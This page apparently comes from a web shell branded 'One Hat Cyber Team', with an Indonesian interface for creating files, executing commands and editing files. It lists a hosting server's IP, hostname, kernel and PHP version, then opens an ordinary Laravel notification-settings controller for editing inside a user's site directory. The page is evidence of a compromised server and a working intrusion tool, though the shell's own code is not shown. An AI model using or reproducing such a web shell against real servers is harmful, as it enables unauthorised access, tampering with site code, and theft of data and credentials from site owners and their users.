One Hat Cyber Team
Your IP :
18.188.71.235
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
centos12
/
www
/
centosuit
/
app
/
Http
/
Controllers
/
Edit File:
NotificationSettingController.php
<?php namespace App\Http\Controllers; use App\Helper\Reply; use App\Models\EmailNotificationSetting; use App\Models\GlobalSetting; use App\Models\PusherSetting; use App\Models\PushNotificationSetting; use App\Models\SlackSetting; use App\Models\SmtpSetting; use Illuminate\Contracts\Encryption\DecryptException; class NotificationSettingController extends AccountBaseController { public function __construct() { parent::__construct(); $this->pageTitle = 'app.menu.notificationSettings'; $this->activeSettingMenu = 'notification_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_notification_setting') !== 'all' && GlobalSetting::validateSuperAdmin('manage_superadmin_notification_settings')); return $next($request); }); } public function index() { $tab = request('tab'); $this->emailSettings = EmailNotificationSetting::all(); $this->slackSettings = SlackSetting::first(); $this->pushSettings = PushNotificationSetting::first(); $this->pusherSettings = PusherSetting::first(); switch ($tab) { case 'slack-setting': $this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_slack == 'yes'; })->count(); $this->view = 'notification-settings.ajax.slack-setting'; break; case 'push-notification-setting': $this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_push == 'yes'; })->count(); $this->view = 'notification-settings.ajax.push-notification-setting'; break; case 'pusher-setting': $this->view = 'notification-settings.ajax.pusher-setting'; break; default: $this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_email == 'yes'; })->count(); $this->smtpSetting = SmtpSetting::first(); try { $this->smtpSetting->mail_password; }catch (DecryptException $e){ // when we get message like below set password as null or o // The MAC is invalid. // The payload is invalid. $this->smtpSetting->mail_password = null; $this->smtpSetting->save(); } $this->view = 'notification-settings.ajax.email-setting'; break; } $this->activeTab = $tab ?: 'email-setting'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('notification-settings.index', $this->data); } }
Simpan